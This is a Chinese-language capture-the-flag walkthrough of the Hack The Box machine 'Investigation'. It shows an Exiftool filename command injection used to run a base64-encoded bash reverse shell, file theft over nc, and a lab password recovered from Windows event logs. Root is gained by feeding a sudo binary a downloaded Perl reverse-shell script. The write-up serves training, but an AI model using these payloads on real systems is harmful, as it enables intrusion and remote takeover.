htb_Investigation (.evtx文件,ida反汇编)

本文描述了一次针对靶机的渗透测试过程,从端口扫描发现开放的80和22端口,到利用Exiftool的版本漏洞执行命令反弹shell,再到通过msg文件获取可能的密码,最终通过ssh登录并提权获得root权限。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

kali攻击机ip:10.10.14.7
靶机ip:10.10.11.197

在这里插入图片描述

能ping通靶机,可以开始啦

在这里插入图片描述

端口全扫描

nmap -sS -sV -T5 -p- 10.10.11.197
在这里插入图片描述

全扫描

发现80,22端口开放

在这里插入图片描述

添加本地hosts配置
vim /etc/hosts
10.10.11.197    eforenzics.htb

页面探测

访问80端口,发现了一个可以上传图片的地方

在这里插入图片描述

尝试上传png图片

在这里插入图片描述

上传成功后点击”here“后可以查看图片信息,是经过exiftool解析后的信息

有一个关键信息,第一行,告诉我们exiftool的版本信息

在这里插入图片描述

ExifTool Version Number : 12.37

查找对应的cve

在这里插入图片描述

漏洞利用

Command Injection in Exiftool before 12.38 (github.com)

通过修改filename为我们的命令,并以管道符|结尾,便可以利用exiftool执行系统命令

在这里插入图片描述

我的想法是,在filename字段里使用bash命令反弹shell

重新提交upload表单,并使用bp拦截

在这里插入图片描述

先尝试ping命令,能不能连通kali

kali上使用tcpdump监听tun1的ip包

 tcpdump icmp -i tun1 -v

在这里插入图片描述

修改filename字段

ping  10.10.14.7|

在这里插入图片描述

成功ping通

在这里插入图片描述

接下来就是反弹shell了

依据我之前的经验,这里的参数很可能会被过过滤,所以传递的数据包一般都要经过base64编码

在这里插入图片描述

先编码再解码再使用bash命令执行

echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43LzY2NjYgMD4mMQ==' | base64  -d  | bash |

在这里插入图片描述

kali开启nc监听

反弹成功

在这里插入图片描述

发现smorton用户,接下来就是想办法登录smorton账号了

在这里插入图片描述

目录探测

发现这个目录底下有两个比较特别的文件,一个属于smorton,一个属于我们的当前用户www-data

cd /usr/local/investigation

在这里插入图片描述

Windows\ Event\ Logs\ for\ Analysis.msg

年少无知的我cat看了看,吓我一大跳

在这里插入图片描述

搜索一波

Msg文件格式是微软outlook软件,outlook邮件客户端的格式,也就是常说的邮件,包含了发件人、主题、收件人、邮件内容等等。

由于是微软特有的格式目前来说只有通过微软outlook或相关软件来解决打开

既然没办法直接查看,那只能先下载到kali本机再查看了

使用nc命令下载文件,然后传到windows本地

nc 10.10.14.7 6666 <  Windows\ Event\ Logs\ for\ Analysis.msg
nc -lvnp 6666 > Windows\ Event\  Logs\ for\  Analysis.msg

这个链接可以在线查看msg文件

Free MSG EML Viewer | Free Online Email Viewer (encryptomatic.com)

发现一个log的zip文件

在这里插入图片描述

解压后发现是个windows日志文件(.evtx文件)

在这里插入图片描述

经过我仔细的查找,终于在过滤后关键字为审核失败的日志中发现了一个奇怪的账户名

在这里插入图片描述

Def@ultf0r3nz!csPa$$

ssh远程登录

使用上述字符串作为密码登录smorton

在这里插入图片描述

在用户目录下发现flag

在这里插入图片描述

提权

sudo -l

发现suid权限文件

在这里插入图片描述

不过这是个二进制文件,没法直接查看源码来利用该文件

在这里插入图片描述

那就将文件拉进windows机器之后用IDA反汇编

在这里插入图片描述

因为是比较简单的代码,可以按F5反汇编成c语言代码查看

在这里插入图片描述

下面是程序的主要函数

关键函数后面我加了注释,该程序的主要作用就是获取第二个参数所指向的url下的pl脚本文件,然后使用perl执行该文件

  if ( argc != 3 )   #判断参数是否为三个,python传参第一个就是程序本身,剩下两个要我们自己传
  {
    puts("Exiting... ");
    exit(0);
  }
  if ( getuid() )  #判断uid是否为0
  {
    puts("Exiting... ");
    exit(0);
  }
  if ( strcmp(argv[2], "lDnxUysaQn") )  判断第三个参数是否为lDnxUysaQn
  {
    puts("Exiting... ");
    exit(0);
  }
  
  
 puts("Running... ");
  stream = fopen(argv[2], "wb");   #获取url下文件名
  v5 = curl_easy_init();
  curl_easy_setopt(v5, 10002LL, argv[1]);
  curl_easy_setopt(v5, 10001LL, stream);
  curl_easy_setopt(v5, 45LL, 1LL);
  if ( (unsigned int)curl_easy_perform(v5) )
  {
    puts("Exiting... ");
    exit(0);
  }
  v6 = snprintf(0LL, 0LL, "%s", argv[2]);
  s = (char *)malloc(v6 + 1);
  snprintf(s, v6 + 1, "%s", argv[2]);   
  v7 = snprintf(0LL, 0LL, "perl ./%s", s);  #运行perl脚本,也就是上面所获取的文件
  command = (char *)malloc(v7 + 1);
  snprintf(command, v7 + 1, "perl ./%s", s);
  fclose(stream);
  curl_easy_cleanup(v5);
  setuid(0);
  system(command);
  system("rm -f ./lDnxUysaQn");
  return 0;

 

在kali编写perl反弹shell脚本

use Socket;
$i="10.10.14.7";
$p=2222;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");
open(STDOUT,">&S");
open(STDERR,">&S");
exec("/bin/sh -i");};

在这里插入图片描述

原地开启http服务

python -m http.server 80

在这里插入图片描述

并且开启nc监听

在这里插入图片描述

执行suid文件

sudo /usr/bin/binary 10.10.14.7/shell.pl  lDnxUysaQn

成功获取root权限shell

在这里插入图片描述

o了 😃

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值